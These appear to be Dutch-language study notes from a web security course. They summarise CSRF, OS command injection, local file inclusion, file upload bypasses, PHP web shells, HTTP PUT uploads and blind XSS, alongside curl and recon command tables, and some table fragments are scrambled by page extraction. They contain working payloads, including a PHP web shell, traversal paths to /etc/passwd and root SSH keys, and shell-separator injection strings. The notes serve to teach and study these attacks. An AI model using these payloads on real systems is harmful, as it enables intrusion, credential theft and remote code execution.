In dit onderdeel kwamen kwetsbaarheden aan bod waarbij input acties, bestanden of commando’s op de server kan beinvloeden. CSRF zat daarbij aan de client-side kant: acties uitvoeren via een bestaande sessie.
In een oogopslag
| Techniek | Concept |
|---|---|
| CSRF | onzichtbare request: <img src=".../action?param=..."> |
| OS command injection | shell-separator: 127.0.0.1 ; cat /etc/passwd |
| LFI | bestandspad-param: ?file=../../../etc/passwd |
| File upload bypass | .php binnensmokkelen (dubbel ext / MIME / case) |
| Web shell -> RCE | <?php system($_GET['cmd']); ?> |
| HTTP PUT upload | curl.exe -X PUT .../shell.php -d "<?php ... ?>" |
| Blind XSS | stored payload die in admin-context triggert |
Technieken in detail
CSRF
CSRF
Slachtoffer voert ongewild een actie uit. 3 voorwaarden: relevante actie ; sessie via cookies ; geen CSRF-token.
- Zoek de action-URL van een knop (de
Xom iets te verwijderen, “change email”) - GET-CSRF via onzichtbare afbeelding:
- POST-CSRF = verborgen auto-submit form op je eigen pagina
- Moderne blocker: SameSite-cookie (
Lax/Strict)
OS command injection
OS command injection
Gebruikersinput belandt in een shell-commando (
Voorbeelden:
shell_exec("ping " . $input)).| Separator | Effect | |
|---|---|---|
; | volgend commando los uitvoeren | |
& | volgend commando uitvoeren | |
&& | volgend commando als eerste lukt | |
| ` | ` | output doorpijpen (werkt vaak als rest geblokkeerd is) |
127.0.0.1 ; cat /etc/passwd ; 127.0.0.1 | cat /etc/passwd ; & echo KoenK &Argument-injectie (variant): input gaat naar grep <input> file -> a /etc/.../natas11 dictionary.txtLFI - Local File Inclusion
LFI - Local File Inclusion
Een param bepaalt welk bestand geladen wordt.
- Normaal:
show.php?file=poem.txt-> misbruik:show.php?file=../../../etc/passwd - Doel: configfiles, credentials, SSH-keys (
../root/.ssh/id_ed25519) - Met een private key ->
ssh -i id_ed25519 root@<ip>= RCE
File upload bypass
File upload bypass
Krijg een server-side script (
.php) geupload:- Geen restrictie: upload gewoon
shell.php - MIME-check: upload
.php, wijzig in BurpContent-Type: image/jpeg - Extensie-obfuscatie:
exploit.jpg.php;exploit.php.jpg;exploit.pHp;exploit.php.;exploit%2Ephp - Client-side variant: geen PHP mogelijk? upload HTML/SVG met
<script>-> stored XSS
Web shell -> RCE
Web shell -> RCE
De inhoud van je geuploade Daarna gewoon opvragen:
.php:GET /uploads/shell.php?command=whoamiHTTP PUT upload
HTTP PUT upload
Geen uploadformulier? Server staat soms Antwoord
PUT toe:201 Created -> bezoek daarna de nieuwe URL.Handige curl parameters
| Parameter | Wat doet het? | Handig wanneer |
|---|---|---|
-i | Toont headers en body. | Statuscodes zoals 201 Created of redirects zien. |
-v | Toont extra requestdetails. | Uploads, PUT en redirects debuggen. |
-X PUT / -X POST | Zet de HTTP-methode. | PUT-upload, POST-form of method bypass testen. |
-d "a=1" | Stuurt data als request body. | Kleine payloads of web shell inhoud testen. |
--data-binary @file | Stuurt bytes uit een bestand. | Uploads zonder inhoud te wijzigen. |
-F "file=@shell.php" | Stuurt multipart form upload. | Uploadformulieren nabouwen. |
-H "Content-Type: image/jpeg" | Zet of overschrijft content type. | MIME-checks testen. |
-b "session=..." | Stuurt cookies mee. | Upload of CSRF-actie binnen sessie herhalen. |
--path-as-is | Normaliseert ../ niet weg. | Traversal in URL-pad testen. |
-o file.txt | Bewaart response in bestand. | Gelekte files of command output bewaren. |
Recon-commando’s
Zodra je command injection hebt:| Doel | Linux | Windows |
|---|---|---|
| huidige user | whoami | whoami |
| OS | uname -a | ver |
| netwerk | ifconfig | ipconfig /all |
| processen | ps -ef | tasklist |
Koppeling tussen input en kwetsbaarheid
Veld dat iets uitvoert (ping, lookup)
OS command injection hangt vaak samen met separators zoals
; & && |.Upload-functie
Upload-bypasses draaiden in de les rond
.php, MIME-types, extensie-obfuscatie en web shells.Tools
curl
Terminaltool voor PUT-requests en handmatige HTTP-calls.
Burp Suite
Proxytool voor Content-Type, filenames, cookies en request bodies.
Browser DevTools
Referentie voor action-URL’s, hidden inputs en client-side uploadchecks.
PortSwigger Web Security Academy
Labs en referentie voor CSRF, upload bugs, traversal en command injection.
PayloadsAllTheThings
Payloadreferentie voor RCE, LFI, upload-bypasses en web shells.